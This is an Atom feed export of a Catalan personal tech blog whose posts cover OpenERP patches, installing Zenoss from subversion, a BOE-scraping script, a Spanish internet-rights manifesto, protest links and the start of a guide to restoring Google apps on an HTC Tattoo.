<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7680784419272917782</id><updated>2024-02-07T13:46:08.387+01:00</updated><category term="python"/><category term="OpenERP"/><category term="patches"/><category term="iphone"/><category term="I+D"/><category term="missatges"/><category term="no-tec"/><category term="ActiveSync"/><category term="LinuxTV"/><category term="TDT"/><category term="hack"/><category term="lib"/><category term="multimedia"/><category term="pickle"/><category term="seguretat"/><category term="server"/><category term="android"/><category term="bugzilla"/><category term="buildbot"/><category term="embedded"/><category term="gzip"/><category term="htc"/><category term="ipod"/><category term="linux"/><category term="sever"/><category term="ssh"/><category term="sèries"/><category term="tv"/><category term="utilitats"/><category term="virtualització"/><category term="vmware"/><category term="wifi"/><category term="windows"/><category term="xmlrpc"/><category term="zenoss"/><title type='text'>Entre zeros i uns</title><subtitle type='html'>Entrant dins del codi, des del costat més &lt;i&gt;freak&lt;/i&gt; de la tecnologia.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>35</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-2382002177420325234</id><published>2011-05-20T15:06:00.002+02:00</published><updated>2011-05-22T19:23:42.376+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="missatges"/><category scheme="http://www.blogger.com/atom/ns#" term="no-tec"/><title type='text'>Sobre #acampadagirona</title><content type='html'>Escric aquí tots els enllaços referents a #acampadagirona. Amb això hauríeu d&#39;estar a última hora :)&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Blog: &lt;a href=&quot;http://acampadagirona.wordpress.com/&quot;&gt;http://acampadagirona.wordpress.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Twitter: &lt;a href=&quot;https://twitter.com/#!/acampadagirona&quot;&gt;https://twitter.com/acampadagirona&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Cerca de twitter amb el hashtag acampadagirona: &lt;a href=&quot;https://twitter.com/#!/search/%23acampadagirona&quot;&gt;https://twitter.com/search/#acampadagirona&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Pàgina de l&#39;event al Facebook: &lt;a href=&quot;http://www.facebook.com/event.php?eid=185425141508422&quot;&gt;http://www.facebook.com/event.php?eid=185425141508422&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Pàgina del Facebook:&amp;nbsp;&lt;a href=&quot;http://www.facebook.com/pages/Acampada-Girona/226716460675491&quot;&gt;http://www.facebook.com/pages/Acampada-Girona/226716460675491&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Document Google docs: &lt;a href=&quot;https://docs.google.com/document/d/160iqjkDnW0gtg7tO1gtM-0voXXIO45-F7LGekN3_XWs/edit?pli=1#&quot;&gt;https://docs.google.com/document/d/160iqjkDnW0gtg7tO1gtM-0voXXIO45-F7LGekN3_XWs/edit?pli=1#&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Xat IRC canal #acampadagirona de &lt;a href=&quot;http://freenode.net/&quot;&gt;freenode.net&lt;/a&gt;: &lt;a href=&quot;http://webchat.freenode.net/&quot;&gt;http://webchat.freenode.net/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Llista de correu:&amp;nbsp;&lt;a href=&quot;http://groups.google.com/group/acampadagirona&quot;&gt;http://groups.google.com/group/acampadagirona&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;Crec que no em deixo res</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/2382002177420325234/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2011/05/sobre-acampadagirona.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2382002177420325234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2382002177420325234'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2011/05/sobre-acampadagirona.html' title='Sobre #acampadagirona'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-5033558025862102880</id><published>2011-04-07T19:00:00.002+02:00</published><updated>2011-04-07T19:00:02.110+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><category scheme="http://www.blogger.com/atom/ns#" term="patches"/><title type='text'>Compatibilitat dels reports xml entre OpenERP 5.x i 4.x</title><content type='html'>Crec que poca gent utilitza els reports xml+xslt d&#39;OpenERP. Nosaltres sí, i ens hem torbat que alguns reports no funcionaven de forma correcta en la nova versió 5.&lt;br /&gt;
&lt;br /&gt;
Després d&#39;investigar, vàrem descobrir que els camps boleans es tractaven diferent en l&#39;xml de dades que es genera per després passar-lo per xslt i obtenir el report.&lt;br /&gt;
En la versió 4.x els boleans eren representats en l&#39;xml de dades com a 0 i 1 per representar False i True respectivament, en canvi, en la versió 5.x són representats com a &#39;&#39; i &#39;True&#39;.&lt;br /&gt;
Per tant si teniem qualsevol llògica feta en xslt buscant valors amb 0 i 1 no funcionaran. Aquest petit pedaç que adjunto soluciona aquest problema.&lt;br /&gt;
&lt;br /&gt;
Patch: &lt;a href=&quot;https://sites.google.com/site/ecarreras2/print_xml_boolean.patch&quot;&gt;print_xml_boolean.patch&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/5033558025862102880/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2011/04/compatibilitat-dels-reports-xml-entre.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/5033558025862102880'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/5033558025862102880'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2011/04/compatibilitat-dels-reports-xml-entre.html' title='Compatibilitat dels reports xml entre OpenERP 5.x i 4.x'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-3802969076979910790</id><published>2011-04-06T19:00:00.012+02:00</published><updated>2011-04-07T09:18:43.261+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><category scheme="http://www.blogger.com/atom/ns#" term="patches"/><title type='text'>Herència en els wizards d&#39;OpenERP 5.X</title><content type='html'>A partir de la versió 5.X els wizards d’&lt;a href=&quot;http://www.openerp.com/&quot;&gt;OpenERP&lt;/a&gt; poden ser del tipus &lt;i&gt;osv.osv_memory&lt;/i&gt;, això els dota de la majoria de funcionalitats que fins ara només tenien els objectes &lt;i&gt;osv.osv&lt;/i&gt; com per exemple workflows, butons, atributs on_chnage i el més important “herencia”.&lt;br /&gt;
&lt;br /&gt;
Com podeu veure herència ho he posat entre cometes, ja que l’herència que permet és només a nivell de vista, no de codi. Quan poses un _inherit a un objecte del tipus &lt;i&gt;osv.osv_memory&lt;/i&gt; et dona la següent excepció: &#39;&lt;i&gt;Inherit not supported in osv_memory object..&lt;/i&gt;’  Encara que en la &lt;a href=&quot;http://doc.openerp.com/v5.0/developer/3_10_wizard/index.html&quot;&gt;documentació d’OpenERP posa clarament que sí&lt;/a&gt;... si mireu el &lt;a href=&quot;http://bazaar.launchpad.net/~openerp/openobject-server/5.0/view/2174/bin/osv/osv.py#L197&quot;&gt;codi font&lt;/a&gt; a es veu clarament que no està implementat.&lt;br /&gt;
&lt;br /&gt;
Hi ha diferents “respostes”[&lt;a href=&quot;https://answers.launchpad.net/openobject-server/+question/126404&quot;&gt;1&lt;/a&gt;][&lt;a href=&quot;https://answers.launchpad.net/openobject-server/+question/139378&quot;&gt;2&lt;/a&gt;] a launchpad, allà expliquen que en la versió 6 sí que està suportat. El que he fet és portar els canvis de la versió 6 a la 5 per tal de tenir herència completa als wizards.&lt;br /&gt;
&lt;br /&gt;
Patch: &lt;a href=&quot;https://sites.google.com/site/ecarreras2/osv_memory_inheritance.patch&quot;&gt;osv_memory_inheritance.patch&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/3802969076979910790/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2011/04/herencia-en-els-wizards-dopenerp-5x.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/3802969076979910790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/3802969076979910790'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2011/04/herencia-en-els-wizards-dopenerp-5x.html' title='Herència en els wizards d&#39;OpenERP 5.X'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-4885926806563098998</id><published>2009-12-26T16:08:00.004+01:00</published><updated>2010-08-04T09:35:32.541+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="server"/><category scheme="http://www.blogger.com/atom/ns#" term="zenoss"/><title type='text'>Instal·lació del Zenoss des de subversion</title><content type='html'>Farem una instal·lació del sistema de monitorització &lt;a href=&quot;http://www.zenoss.com/&quot;&gt;Zenoss&lt;/a&gt; des de codi font amb subversion, així aprofitarem els canvis que facin en la versió de producció sense la latència que hi pugui haver a empaquetar el software de nou. Amb això també tenim una instal·lació mòbil, ja que tot s&#39;instal·la amb el seu entorn i ho tenim tot localitzat.&lt;br /&gt;
&lt;br /&gt;
En aquest document suposem que hem creat un usuari zenoss i que el path on instal·larem el zenoss és a &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;/usr/local/zenoss&lt;/span&gt;. Quan es mostren les comandes que s&#39;executen quan surt el prompt &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;#&lt;/span&gt; la comanda s&#39;executa amb l&#39;usuari root, quan el promt és &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$&lt;/span&gt; s&#39;executa amb l&#39;usuari zenoss.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;# apt-get install openssh-server subversion gcc g++ mysql-server libmysqlclient15-dev snmp make swig autoconf bzip2 unzip&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;# mkdir -p /usr/local/zenoss&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt; # chown zenoss /usr/local/zenoss&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ echo &quot;export ZENHOME=/usr/local/zenoss&quot; &amp;gt;&amp;gt; ~/.bahsrc&lt;br /&gt;
$ echo &quot;export PYTHONPATH=$ZENHOME/lib/python&quot; &amp;gt;&amp;gt; ~/.bashrc&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ echo &quot;export &quot;PATH=$ZENHOME/bin:$PATH&quot; &amp;gt;&amp;gt; ~/.bashrc&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ens descarreguem el codi font des del subversion:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ svn co http://dev.zenoss.org/svn/branches/zenoss-2.5.x/inst zenossinst-2.5.x&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Això tardarà una mica, s&#39;ha de descarregar tot el codi font i totes les llibreries que utilitza, això instal·la un entorn totalment separat, és a dir un python a un altre path i totes les llibreries que necessita.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ cd zenossinst-2.5.x&lt;br /&gt;
$ SVNTAG=branches/zenoss-2.5.x ./install.sh&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Un cop tot compilat i instal·lat ens demanarà que fem setuid al binari &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;zensocket&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;# chown root:zenoss /usr/local/zenoss/bin/zensocket&lt;br /&gt;
# chmod 04750 /usr/local/zenoss/bin/zensocket&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ja podem accedir a la interfície web a través de &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;http://hostname:8080&lt;/span&gt; (si voleu canviar el port es pot fer a través del fitxer &lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ZENHOME/etc/zope.conf&lt;/span&gt;)&lt;br /&gt;
&lt;br /&gt;
Ara ja podem engegar tots els serveis del zenoss amb:&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ /usr/local/zenoss/bin/zenoss start&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/4885926806563098998/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/12/installacio-del-zenoss-des-de.html#comment-form' title='1 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4885926806563098998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4885926806563098998'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/12/installacio-del-zenoss-des-de.html' title='Instal·lació del Zenoss des de subversion'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-2362164557196567243</id><published>2009-12-04T07:57:00.000+01:00</published><updated>2009-12-04T07:57:37.427+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="missatges"/><title type='text'>Manifiesto &quot;En defensa de los derechos fundamentales en internet&quot;</title><content type='html'>&lt;em&gt;Ante la inclusión en el Anteproyecto de Ley de Economía sostenible de&lt;br /&gt;
modificaciones legislativas que afectan al libre ejercicio de las&lt;br /&gt;
libertades de expresión, información y el derecho de acceso a la&lt;br /&gt;
cultura a través de Internet, los periodistas, bloggers, usuarios,&lt;br /&gt;
profesionales y creadores de internet manifestamos nuestra firme&lt;br /&gt;
oposición al proyecto, y declaramos que...&lt;br /&gt;
&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
1.- &lt;b&gt;Los derechos de autor no pueden situarse por encima de los&lt;br /&gt;
derechos fundamentales de los ciudadanos&lt;/b&gt;, como el derecho a la&lt;br /&gt;
privacidad, a la seguridad, a la presunción de inocencia, a la tutela&lt;br /&gt;
judicial efectiva y a la libertad de expresión.&lt;br /&gt;
&lt;br /&gt;
2.- &lt;b&gt;La suspensión de derechos fundamentales es y debe seguir siendo&lt;br /&gt;
competencia exclusiva del poder judicial.&lt;/b&gt; Ni un cierre sin&lt;br /&gt;
sentencia. Este anteproyecto, en contra de lo establecido en el&lt;br /&gt;
artículo 20.5 de la Constitución, pone en manos de un órgano no&lt;br /&gt;
judicial -un organismo dependiente del ministerio de Cultura-, la&lt;br /&gt;
potestad de impedir a los ciudadanos españoles el acceso a cualquier&lt;br /&gt;
página web.&lt;br /&gt;
&lt;br /&gt;
3.- &lt;b&gt;La nueva legislación creará inseguridad jurídica en todo el&lt;br /&gt;
sector tecnológico español&lt;/b&gt;, perjudicando uno de los pocos campos&lt;br /&gt;
de desarrollo y futuro de nuestra economía, entorpeciendo la creación&lt;br /&gt;
de empresas, introduciendo trabas a la libre competencia y&lt;br /&gt;
ralentizando su proyección internacional.&lt;br /&gt;
&lt;br /&gt;
4.- &lt;b&gt;La nueva legislación propuesta amenaza a los nuevos creadores y&lt;br /&gt;
entorpece la creación cultural.&lt;/b&gt; Con Internet y los sucesivos&lt;br /&gt;
avances tecnológicos se ha democratizado extraordinariamente la&lt;br /&gt;
creación y emisión de contenidos de todo tipo, que ya no provienen&lt;br /&gt;
prevalentemente de las industrias culturales tradicionales, sino de&lt;br /&gt;
multitud de fuentes diferentes.&lt;br /&gt;
&lt;br /&gt;
5.- &lt;b&gt;Los autores&lt;/b&gt;, como todos los trabajadores, &lt;b&gt;tienen derecho&lt;br /&gt;
a vivir de su trabajo con nuevas ideas creativas, modelos de negocio y&lt;br /&gt;
actividades&lt;/b&gt; asociadas a sus creaciones. Intentar sostener con&lt;br /&gt;
cambios legislativos a una industria obsoleta que no sabe adaptarse a&lt;br /&gt;
este nuevo entorno no es ni justo ni realista. Si su modelo de negocio&lt;br /&gt;
se basaba en el control de las copias de las obras y en Internet no es&lt;br /&gt;
posible sin vulnerar derechos fundamentales, deberían buscar otro&lt;br /&gt;
modelo.&lt;br /&gt;
&lt;br /&gt;
6.- Consideramos que l&lt;b&gt;as industrias culturales necesitan para&lt;br /&gt;
sobrevivir alternativas modernas, eficaces, creíbles y asequibles y&lt;br /&gt;
que se adecuen a los nuevos usos sociales&lt;/b&gt;, en lugar de&lt;br /&gt;
limitaciones tan desproporcionadas como ineficaces para el fin que&lt;br /&gt;
dicen perseguir.&lt;br /&gt;
&lt;br /&gt;
7.- &lt;b&gt;Internet debe funcionar de forma libre y sin interferencias&lt;br /&gt;
políticas&lt;/b&gt; auspiciadas por sectores que pretenden perpetuar&lt;br /&gt;
obsoletos modelos de negocio e imposibilitar que el saber humano siga&lt;br /&gt;
siendo libre.&lt;br /&gt;
&lt;br /&gt;
8.- &lt;b&gt;Exigimos que el Gobierno garantice por ley la neutralidad de la&lt;br /&gt;
Red en España&lt;/b&gt;, ante cualquier presión que pueda producirse, como&lt;br /&gt;
marco para el desarrollo de una economía sostenible y realista de cara&lt;br /&gt;
al futuro.&lt;br /&gt;
&lt;br /&gt;
9.- &lt;b&gt;Proponemos una verdadera reforma del derecho de propiedad&lt;br /&gt;
intelectual&lt;/b&gt; orientada a su fin: devolver a la sociedad el&lt;br /&gt;
conocimiento, promover el dominio público y limitar los abusos de las&lt;br /&gt;
entidades gestoras.&lt;br /&gt;
&lt;br /&gt;
10.- &lt;b&gt;En democracia las leyes y sus modificaciones deben aprobarse&lt;br /&gt;
tras el oportuno debate público&lt;/b&gt; y habiendo consultado previamente&lt;br /&gt;
a todas las partes implicadas. No es de recibo que se realicen cambios&lt;br /&gt;
legislativos que afectan a derechos fundamentales en una ley no&lt;br /&gt;
orgánica y que versa sobre otra materia&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Este texto se publica multitud de sitios web. Si estás de acuerdo,&lt;br /&gt;
publícalo también en tu blog.&lt;/i&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/2362164557196567243/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/12/manifiesto-en-defensa-de-los-derechos.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2362164557196567243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2362164557196567243'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/12/manifiesto-en-defensa-de-los-derechos.html' title='Manifiesto &quot;En defensa de los derechos fundamentales en internet&quot;'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-2201605510729540955</id><published>2009-12-01T21:35:00.001+01:00</published><updated>2009-12-01T21:55:28.567+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="utilitats"/><title type='text'>Parsejador pel BOE</title><content type='html'>A al feina hem d&#39;estar assabentats de les últimes notícies que es publiquen al &lt;a href=&quot;http://www.boe.es/diario_boe&quot; id=&quot;pr1w&quot; title=&quot;B.O.E.&quot;&gt;B.O.E.&lt;/a&gt; (Noves tarifes, informes que s&#39;han d&#39;entregar, etc.) i com que moltes vegades se&#39;ns passava el fet de cada dia obrir la pàgina i mirar si ens afectava.&lt;br /&gt;
&lt;br /&gt;
Per millorar el procés he fet un petit script (poques hores dedicades) per tal que es connecti a la pàgina web del B.O.E i miri si hi ha alguna novetat pel ministeri i secció que l&#39;hi especifiquem ens envia el text i els enllaços als PDFs.&lt;br /&gt;
&lt;br /&gt;
L&#39;script és mot senzill, se li diu en quin ministeri i en quines seccions ha de mirar i ell ja farà una cerca filtrant resultats, fent un resum i amb l&#39;enllaç alPDF. &lt;br /&gt;
&lt;br /&gt;
Una bona pràctica és lligar-ho amb un crontab, i que envii la sortida via mail. Per exemple:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New;&quot;&gt;python boe.py -m mityc -s sec1 | /usr/bin/mail -e -a &quot;Content-Type: text/plain;charset=utf-8&quot; -a &quot;Content-Transfer-Encoding: 8bit&quot; -s &quot;RESUM BOE: `date +%d/%m/%Y`&quot; email@example.com&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Deixo l&#39;script pujat &lt;a href=&quot;http://ecarreras.googlepages.com/boe.py&quot; id=&quot;xmzl&quot; title=&quot;aquí&quot;&gt;aquí&lt;/a&gt; per si a algú li interessa o li pot servir d&#39;alguna cosa.</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/2201605510729540955/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/12/parsejador-pel-boe.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2201605510729540955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2201605510729540955'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/12/parsejador-pel-boe.html' title='Parsejador pel BOE'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-4008231699075797228</id><published>2009-11-18T22:47:00.001+01:00</published><updated>2009-11-18T22:51:33.589+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="hack"/><category scheme="http://www.blogger.com/atom/ns#" term="htc"/><title type='text'>Recuperar aplicacions Google amb l&#39;HTC Tattoo d&#39;Orange</title><content type='html'>Escric aquesta entrada ja que he descobert que els nous &lt;a href=&quot;http://www.htc.com/es/product/tattoo/overview.html&quot;&gt;HTC Tattoo&lt;/a&gt; d&#39;Orange venen capats d&#39;algunes aplicacions de Google, com per exemple el Talk i el Youtube.&lt;br /&gt;
&lt;br /&gt;
Podeu comprovar-ho anant a la pàgina dels &lt;a href=&quot;http://www.htc.com/es/faq_detail.aspx?p_id=292&amp;amp;act=um&quot;&gt;manuals d&#39;HTC Tattoo&lt;/a&gt; i veure que hi ha 3 manuals diferents:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Original d&#39;HTC&lt;/li&gt;
&lt;li&gt;El de vodafone&lt;/li&gt;
&lt;li&gt;El d&#39;Orange (on hi falten els capítols del Talk i el Youtube)&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
Explicaré com fer-ho per tal de tenir aquestes aplicacions funcionant un altre cop.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Descarregar la ROM original d&#39;HTC Tattoo&lt;br /&gt;
&lt;br /&gt;
&lt;/b&gt;Per tal de descarregar-nos la ROM original d&#39;HTC per Europa anem a &lt;a href=&quot;http://htcpedia.com/htc_click_europe/soft/htc-tattoo-rom.html?page=1&quot; id=&quot;k1ro&quot; title=&quot;HTCPedia&quot;&gt;HTCPedia&lt;/a&gt;, si us demana un login poseu una mica d&#39;&lt;a href=&quot;http://www.bugmenot.com/&quot; id=&quot;e6oa&quot; title=&quot;imeginació&quot;&gt;imaginació&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Descomprimir el sistema de fitxers&lt;br /&gt;
&lt;br /&gt;
